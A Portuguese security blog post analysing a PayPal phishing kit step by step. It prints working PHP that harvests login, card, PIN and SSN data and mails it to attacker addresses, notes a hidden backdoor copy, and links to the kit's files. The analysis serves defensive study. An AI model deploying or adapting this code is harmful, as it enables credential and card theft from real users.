É muito
comum lidarmos com casos de phishing no Brasil, são inúmeras as
páginas falsas de bancos brasileiros tentando
capturar credenciais de acesso de usuários desavisados. Entretanto,
esse tipo de golpe não ocorre só aqui, há pessoas aplicando esses
golpes em várias partes do mundo.
Dentre as
empresas internacionais mais visadas em casos de phishing a que mais
se destaca é o PayPal, empresa de pagamentos online mundialmente
conhecida.
Os
métodos empregados nesse phishing que iremos analisar são semelhantes ao que costumamos ver por aqui, porém há alguns detalhes para deixar o golpe talvez um pouco mais
sofisticado e atingir um maior número de vítimas. Vamos lá!
Página
inicial
Como é
comum nesses casos, as URLs do phishing tentam passar a impressão
que são do próprio site do PayPal, o atacante copiou
padrões de URLs utilizados no site original e tentou reproduzir nas
páginas falsas. A URL que deu acesso ao phishing foi essa:
http://paypal.com-us.cgi-bin-webscr-cmd.login-submit-dispatch
.74fghghs68g484iky4mn86we8r46d4h38df4b83m48h54156ty84d87f4xnbhg
.obuvkionline.info/Open-information.php
Quebrei para facilitar a leitura, as três linhas formam somente uma URL.
Se a pessoa ler somente da esquerda para a direita talvez pense que
realmente se trate do site paypal.com mas o verdadeiro domínio onde
a página está hospedada é esse:
obuvkionline.info
Tudo o
que está antes do domínio é o subdomínio que o atacante criou
para tentar enganar os usuários. Ao clicar nessa URL abriu o site
abaixo.
Um site
do PayPal em inglês bastante convincente visualmente. Tive acesso ao
código-fonte desse phishing e assim consegui entender melhor o
funcionamento, vamos ver o passo a passo da execução.
Redirecionamentos
e Idiomas
O código
da página Open-information.php, que é a primeira a ser executada, é
esse abaixo:
Ela
redireciona o usuário automaticamente para a página reboot.php que
está dentro do diretório “service” do site. Esse diretório
possui a estrutura abaixo, que será referenciada várias durante esse post.
Já a
página reboot.php possui o seguinte código:
Essa é
uma outra forma de redirecionamento, há uma variável que recebe a
string “Limit” e depois um loop que vai buscando nomes de
diretórios no padrão “Limit1”, “Limit2”, “Limite3”...
Quando encontra um diretório com algum desses nomes ela redireciona para
ele.
Olhando a
figura da estrutura do diretório “service” novamente vemos que
dentro dele há uma pasta chamada “Limit9”, então o reboot.php
vai chamar o index dessa pasta. O porquê do redirecionamento ser
feito assim entenderemos mais pra frente.
Agora
passando para a análise da página “
Limit9/index.php”
encontramos o código abaixo:
<?php
/* ############Scam Made By AdAmMeD################ */
# #
# Scam Made By AdAmMeD ## Scam Made By AdAmMeD #
# #
################################################
/* */
$HTTP_ACCEPT_LANGUAGE = $_SERVER['HTTP_ACCEPT_LANGUAGE'];
if ($HTTP_ACCEPT_LANGUAGE != ''){
$idiomas = explode(",", $HTTP_ACCEPT_LANGUAGE);
for ($i=0; $i<count($idiomas); $i++){
if (!isset($idioma)){
if (substr($idiomas[$i], 0, 2) == "es"){$idioma = "ES";}
if (substr($idiomas[$i], 0, 2) == "en"){$idioma = "EN";}
if (substr($idiomas[$i], 0, 2) == "fr"){$idioma = "FR";}
} else { $idioma = "EN"; }
}
}
include 'Pay_'.$idioma.'.php';
/* ############Scam Made By AdAmMeD################ */
# #
# Scam Made By AdAmMeD ## Scam Made By AdAmMeD #
# #
##########################################
/* */
?>
A
princípio vemos a assinatura do autor do código do phishing “
Scam
Made By AdAmMeD”. Não necessariamente é a pessoa que está
aplicando o golpe, pode ser que ele só fez o código e vendeu ou
disponibilizou para download.
A partir
disso o atacante sabe qual é o idioma mais adequado para apresentar
a página falsa do PayPal. Isso mostra ele que não está só
querendo vítimas que entendam inglês, como vemos no código ele
também tem versões para espanhol e francês.
Baseado
nessas informações ele inclui no código a página do PayPal
adequada. Olhando novamente na figura do diretório “service”
vemos que há as páginas Pay_EN.php, Pay_ES.php e Pay_FR.php.
Após a
inclusão da página, ele finalmente exibe a tela inicial do
phishing, aquela que vimos na primeira figura.
Vamos
fazer a análise da versão em inglês, a página Pay_EN.php. Essa
página possui um código PHP inicial seguido do código HTML da
página, que contém alguns forms para receber inputs do usuário.
Mesmo
fazendo essa escolha de idioma inicial, o atacante permite que o
usuário altere o idioma na página, existe um form para isso:
<form method="post" id="rosetta" class="rosetta" action="Pay_EN.php?cmd=_home&dispatch=5885d80a13c0db1f8e263663d3faee8dc18bca4c6f47e633b393e284a5f8a8f8">
<input type="hidden" name="cmd" value="ok">
<fieldset>
<legend><span class="accessAid">Change Your Language</span></legend>
<label for="rosetta_dropdown">Language Select</label>
<select id="rosetta_dropdown" name="locale_x">
<option value="en_US" selected>English</option>
<option value="es_XC">Español</option>
<option value="fr_XC">Français</option>
</select>
<input type="submit" name="testName" value=">" class="button mini">
<input type="hidden" id="change_locale_x" name="change_locale.x" value="1">
</fieldset>
<input type="hidden" name="cmd" value="ok">
<input name="form_charset" type="hidden" value="UTF-8">
</form>
Agora
analisando o início do código PHP da página Pay_EN.php vemos esses
dados sendo tratados:
Ele
inicia uma sessão do PHP caso já não tenha sido iniciada e atribui
para uma variável de sessão o idioma escolhido (essa variável
ficará visível para todas as páginas). Depois recebe as variáveis
“cmd” e “locale_x” passados pelo form pelo método POST e
então se o usuário escolheu outro idioma ele chama a página
correta.
Capturando
dados
Ainda na
Pay_EN.php há o formulário de login da conta do PayPal, que é o que
realmente o atacante deseja capturar.
O código
HTML desse form é esse:
<form method="post" name="login_form" action="webscr?cmd=_login-submit&dispatch=5885d80a13c0db1f8e263663d3faee8dc18bca4c6f47e633b393e284a5f8a8f8">
<fieldset>
<legend>Member Log In</legend>
<p><label for="login_email">Email address</label>
<input type="text" id="login_email" name="login_email" value=""></p>
<p><label for="login_password">PayPal password</label>
<input autocomplete="off" type="password" id="login_password" name="login_password" value="">
<p><label for="target_page">Go to</label>
<select id="target_page" name="target_page">
<option value="0" selected>My account</option>
<option value="1">My transactions</option></select></p>
<input type="submit" name="submit.x" value="Log In" class="button primary">
</fieldset>
<p><a href="direct.php?site=https://www.paypal.com/us/cgi-bin/webscr?cmd=_account-recovery&from=PayPal">Problem with login?</a></p>
<p>New to PayPal? <strong><a href="direct.php?site=https://www.paypal.com/us/cgi-bin/webscr?cmd=_registration-run">Sign up</a></strong>.
</p>
<input name="form_charset" type="hidden" value="UTF-8">
</form>
Os dados
inseridos nesse form vão para essa página do phishing:
"webscr?cmd=_login-submit&dispatch=5885d80a13c0db1f8e2636..."
Olhando o
link “Problem with login?” que o atacante redireciona para o site
verdadeiro do PayPal, vemos a semelhança das duas URLs:
https://www.paypal.com/us/cgi-bin/webscr?cmd=_account-recovery&from=PayPal
Mais uma
vez para deixar as URLs com aparência mais legítima. Outro detalhe é que ele chama o index de um diretório e
passa parâmetro para ele somente com o nome da pasta, sem
especificar o arquivo index.
O
atacante usou isso:
"webscr?cmd=_login-submit...”
Ao invés
disso:
"webscr/index.php?cmd=_login-submit
Uma forma
mais furtiva para se parecer com a URL verdadeira. Se olharmos na
figura da estrutura de pastas do “service” iremos encontrar a
pasta “webscr” lá, que terá o index.php que receberá os dados
desse formulário passados pelo método POST.
A página
“webscr/index.php” possui algumas coisas interessantes. Primeiro,
para QUALQUER usuário e senha digitados no formulário anterior ela
mostrará essa página:
É uma
mensagem de erro de login, falando que os dados digitados não estão
corretos. Isso derruba aquela dica arcaica de segurança que diz
“insira qualquer usuário e senha na página, se aceitar é
porque a página é falsa, senão é verdadeira”.
Essa
página vai exigir que sempre o usuário digite novamente os dados de login. E quando esses dados forem digitados a página vai chamar ela
mesma, porque no início dela há um código para tratar os dados. O código é esse abaixo.
Há um
“if” que faz uma validação simples dos dados digitados e caso
sejam válidos são criadas variáveis de sessão para receber esses dados e
a execução é redirecionada para a página:
“../loading.php?cmd=_login-submit&dispatch=...”
Só que
antes desse redirecionamento há um include interessante também:
include
"../lang/langdetect.php";
A
“langdetect.php” é inserida na “webscr/index.php”, esse
include tem como principal objetivo apresentar essa página do
segundo login no idioma correto. Dessa vez o atacante não criou uma
página para cada um, ele usou só uma página que para cada string há uma variável que a exibe no idioma correto.
Isso é
feito através dessa página:
Atente-se
para a linha 15 da listagem, não tem nada a ver com idioma, é criada a
variável global “PR_TARGET” que será usada mais pra frente:
define('PR_TARGET',
'../WEBSCR-640-20101004-1/Marketing/css/pages/');
Já as
páginas com as strings de cada idioma possuem essa estrutura:
Então
após digitar pela segunda vez os dados de login é chamada a página
“loading.php”, que tem a única finalidade de exibir um
“loading...” na tela e redirecionar para outra página através
desse HTML:
<META
http-equiv=Refresh content="3;
URL=webscr/update.php?cmd=_login-done&login_access=1193476743">
Página
principal
A
“update.php” é a página mais importante do golpe. A parte
visual dela é uma formulário de atualização de dados do perfil do PayPal,
para o usuário inserir várias informações. E como não poderia
faltar, informações de cartão de crédito também.
Já o
código dessa página é mais interessante, abaixo segue o trecho
referente ao PHP:
<?php
/* ############Scam Made By AdAmMeD################ */
# #
# Scam Made By AdAmMeD ## Scam Made By AdAmMeD #
# #
################################################
/* */
//initialize the session
$ip = getenv("REMOTE_ADDR");
$browser = getenv ("HTTP_USER_AGENT");
if (!isset($_SESSION)) {
session_start();
}
ini_set('session.gc_maxlifetime', 3600);
include "../lang/langdetect.php";
require(PR_TARGET."header.php");
global $error;
$error = 1;
if(@$_POST['cmd'] == "ok"){
if(empty($_POST['defaultcvv2'])){
$defaultcvv2 = 'error';
$error = 0;
}
if(empty($_POST['answer1'])){
$answer1 = 'error';
$error = 0;
}
if(empty($_POST['answer2'])){
$answer2 = 'error';
$error = 0;
}
if(empty($_POST['question1'])){
$quest1 = 'error';
$error = 0;
}
if(empty($_POST['question2'])){
$quest1 = 'error';
$error = 0;
}
if(empty($_POST['userphone'])){
$userphone = 'error';
$error = 0;
}
if(empty($_POST['defaultcardnumber'])){
$defaultcardnumber = 'error';
$error = 0;
}
if(empty($_POST['defaultcountry'])){
$defaultcountry = 'error';
$error = 0;
}
if(empty($_POST['fullname'])){
$fullname = 'error';
$error = 0;
}
if(empty($_POST['defaultaddress1'])){
$defaultaddress1 = 'error';
$error = 0;
}
if(empty($_POST['defaultcity'])){
$defaultcity = 'error';
$error = 0;
}
if(empty($_POST['defaultstate'])){
$defaultstate = 'error';
$error = 0;
}
if(empty($_POST['defaultzip'])){
$defaultzip = 'error';
$error = 0;
}
if(empty($_POST['bday'])){
$bday = 'error';
$error = 0;
}
if(empty($_POST['bmonth'])){
$bmonth = 'error';
$error = 0;
}
if(empty($_POST['byear'])){
$byear = 'error';
$error = 0;
}
if( empty($_POST['defaultexpmonth']) or empty($_POST['defaultexpyear'])){
$defaultexpmonth = 'error';
$error = 0;
}
if( ($_POST['defaultexpmonth'] == 01 and $_POST['defaultexpyear'] == 11) or ($_POST['defaultexpmonth'] == 02 and $_POST['defaultexpyear'] == 11) or ($_POST['defaultexpmonth'] == 03 and $_POST['defaultexpyear'] == 11) ){
$defaultexpmonth = 'error';
$error = 0;
}
if( $error != 0 ){
$message .= "--------------ReZulT SpAm-----------------------\n";
$message .= "Email Address : ".$_SESSION['emaill']."\n";
$message .= "Password : ".$_SESSION['passwordd']."\n";
$message .= "IP : ".$ip."\n";
$message .= "Browser : ".$browser."\n";
$message .= "\n";
$message .= "---------------------------\n";
$message .= "\n";
$message .= "Full Name : ".$_POST['fullname']."\n";
$message .= "Card Type : ".$_POST['card_type']."\n";
$message .= "Card Number : ".$_POST['defaultcardnumber']."\n";
$message .= "Expiration Date : ".$_POST['defaultexpmonth']."/";
$message .= "".$_POST['defaultexpyear']."\n";
$message .= "Card Verification Number : ".$_POST['defaultcvv2']."\n";
$message .= "ATM PIN : ".$_POST['PIN']."\n";
$message .= "Address 1 : ".$_POST['defaultaddress1']."\n";
$message .= "Address 2 : ".$_POST['defaultaddress2']."\n";
$message .= "City : ".$_POST['defaultcity']."\n";
$message .= "State : ".$_POST['defaultstate']."\n";
$message .= "ZIP Code : ".$_POST['defaultzip']."\n";
$message .= "Country : ".$_POST['defaultcountry']."\n";
$message .= "Telephone : ".$_POST['userphone']."\n";
$message .= "Social Security Number : ".$_POST['ssn']."\n";
$message .= "Date Of Birth : ".$_POST['bday']."/";
$message .= "".$_POST['bmonth']."/";
$message .= "".$_POST['byear']."\n";
$message .= "Driver's License : ".$_POST['drl']."\n";
$message .= "\n";
$message .= "---------------------------\n";
$message .= "\n";
$message .= "Security Question 1 : ".$_POST['question1']."\n";
$message .= "Answer 1 : ".$_POST['answer1']."\n";
$message .= "Security Question 2 : ".$_POST['question2']."\n";
$message .= "Answer 2 : ".$_POST['answer2']."\n";
$message .= "IP : ".$ip."\n";
$message .= "\n\n";
$message .= "---------------The-Big-hichamhack@live.fr------------------------------\n";
$to = "d-h@live.fr"; // Put here Your E-Mail... /* ############Scam Made By AdAmMeD################ */
$subject = "PayPal:".$ip;
$headers = "From: <d-h@live.fr>";
$headers = "MIME-Version: 1.0\n";
$from = "PayPal Monster";
mail($to,$subject,$message,$headers,$from);
require(HEADING_TARGET);
header("Location: ../done.php?cmd=_login&dispatch=5885d80a13c0db1f8e263663d3faee8d4b3d02051cb40a5393d96fec50118c72");
}
}
$file= fopen("../../usernames.txt", "a");
fwrite($file, "-----------------------PayPal Spam Result-----------------------------\n");
fwrite($file, "Email Address : ".$_SESSION['emaill']."\n");
fwrite($file, "Password : ".$_SESSION['passwordd']."\n");
fwrite($file, "IP : ".$ip."\n");
fwrite($file, "Browser : ".$browser."\n");
fwrite($file, "\n");
fwrite($file, "--------------Credit Card Result-------------\n");
fwrite($file, "----------------------------------------------\n");
fwrite($file, "\n");
fwrite($file, "Security Question 1 : ".$_POST['question1']."\n");
fwrite($file, "Answer 1 : ".$_POST['answer1']."\n");
fwrite($file, "Security Question 2 : ".$_POST['question2']."\n");
fwrite($file, "Answer 2 : ".$_POST['answer2']."\n");
fwrite($file, "IP : ".$ip."\n");
fwrite($file, "\n\n");
fwrite($file, "---------------The Big Cave & V!RuS MaRoC Meknes Spammer--------------\n");
fclose($file);
?>
Tudo o
que é inserido nessa página é enviado para ela mesma e esse PHP
trata esses dados. Primeiro há validações simples para verificar
se realmente os dados foram inseridos, caso esteja tudo certo é criado um e-mail com as informações.
E
conseguimos ver para quem os dados furtados são enviados:
$to =
"d-h@live.fr"; // Put here Your E-Mail...
O código
até ajuda falando onde deve ser inserido o e-mail do golpista. Isso
pode ser uma pista de que o código desse phishing foi feito por
alguém e distribuído ou vendido para outros usarem.
E há
outra coisa que também dá pistas disso, é algo que pode passar
desapercebido para quem não analisar o código com calma. Nesse
código antes de fazer as validações há essa linha:
require(PR_TARGET."header.php");
O require
é a mesma coisa que o include. Aqui ele está inserindo a página
header.php que está localizada no caminho da variável PR_TARGET que
ele havia registrado anteriormente como variável global (lembra?).
O codigo
da header.php é esse:
Ela por
sua vez está definindo outra variável global chamada "HEADING_TARGET"
que tem como valor o caminho de outra página:
“../WEBSCR-640-20101004-1/js/lib/min/require.php”
E após a
função de envio de e-mail, há essa linha:
require(HEADING_TARGET);
Esse
segundo require vai inserir essa segunda página require.php que
possui esse código:
Essa
página só serve para enviar um e-mail novamente com as informações
capturas. O campo “To” do e-mail vemos que é para o mesmo
endereço. Mas por que o atacante faria todo esse código de "página
chamando página" para conseguir mandar o e-mail duas vezes? Seria
muito mais fácil adicionar mais uma linha da função mail() do
PHP.
Isso ao
meu ver trata-se do que é conhecido como caixa 2. A pessoa que
criou o phishing programou todo o código e disponibilizou para
download para qualquer um baixar, ou vendeu, ou trocou. E ainda dá
até dica dentro do código falando onde eles devem colocar o
endereço de e-mail para receber os dados capturados.
Só que
também inseriu de uma forma relativamente oculta essa função de enviar um
e-mail pra ele todas as vezes que algum dado fosse capturado. Os
menos avisados ou com menor conhecimento de PHP fazem download do
código, alteram para o endereço de e-mail deles na função
principal, hospedam em algum lugar e esperam os resultados. Sem saber
que para cada e-mail que eles recebem o outro também vai receber, ou
seja, é o caixa 2 do golpe.
Essa é
uma característica comum de códigos maliciosos que são
disponibilizados para download, o código pode até ser gratuito mas
também pode ter funções ocultas.
Porém
nesse caso vimos que os endereços de e-mails tanto do código
principal quanto daquele mais oculto são os mesmos. Isso pode ser
porque esse atacante tenha descoberto esse esquema e assim também
inseriu o e-mail dele lá.
Voltando
ao código PHP principal...
Após
enviar os dois e-mails é feito um redirecionamento para a página
done.php através da linha abaixo:
header("Location:
../done.php?cmd=_login&dispatch=5885d80a13c0db1f8e26...");
Vemos
também que caso os dados digitados no formulário não passem nas
validações, há um código que salva em um TXT algumas informações
já capturadas no golpe. Isso deve ser para garantir que pelo menos o
usuário e senha digitados sejam capturados.
Finalizando
Por fim,
o redirecionamento anterior levou a execução para a página
done.php. Essa tem a finalidade de passar um pouco mais de credibilidade ao golpe,
exibindo algumas mensagens de sucesso e informações de data e hora.
Ela por sua vez redireciona automaticamente após 4 segundos para uma
outra página através dessa linha:
<META
http-EQUIV="refresh" content="4; URL=../dir.php">
E é na
dir.php que entendemos o uso daquele diretório “Limit”. Segue o
código:
É
exibida a mensagem que está processando e enquanto isso o diretório
“Limit” é renomeado. Receberá o incremento de um em seu nome e
no nosso caso chamará “Limit10”. E por fim é feito
redirecionamento para o site do PayPal verdadeiro.
Consigo
enxergar duas funcionalidades para essa mudança de nome: a primeira
é que de certa forma o número do diretório serve como um contador
de vítimas, e a segunda é que a URL dos arquivos do golpe sempre
estará mudando, se ela for colocada em uma blacklist como “Limit9”,
quando passar para “Limit10” já estará livre da blacklist.
Informações
Adicionais
No
servidor onde estava hospedado esse phishing havia outros códigos
maliciosos, hacker tools e páginas de defacement. O index principal
era o defacement abaixo:
Parece que
o site foi desfigurado por esse grupo de Bangladesh e depois vieram
outros e fizeram a festa copiando tools e hospedando phishing. Porém
isso só é possível afirmar com certeza se for feita uma perícia
forense no computador.
Também
havia outras cópias do mesmo phishing nesse servidor, um tipo de
pasta só armazenava o PHP inicial que faz o redirecionamento e o
outro tipo armazena os arquivos principais do golpe.
Interessante
que em algumas dessas outras pastas havia um endereço de e-mail
diferente para onde os dados eram enviados:
m4st3r007@hotmail.com
E as
pastas “Limit” também possuem numerações diferentes, a mais
alta que encontrei foi 100.
É isso
aí, qualquer dúvida ou sugestão só deixar um comentário. Para
novidades também podem seguir o blog no twitter
@crimescibernet.
[Post atualizado em 16/10/2012]
Para quem gostou da análise e queira reproduzí-la, estou disponibilizando todos os arquivos originais desse phishing. Ressalto que os arquivos são maliciosos e podem causar danos em seu computador ou de terceiros. Faça download estando ciente disso e
APENAS utilize para estudos, se essa não for sua intenção não faço o download. Não me responsabilizo por qualquer dano ou mau uso.
O download pode ser feito através
desse link. A senha do arquivo é:
infected.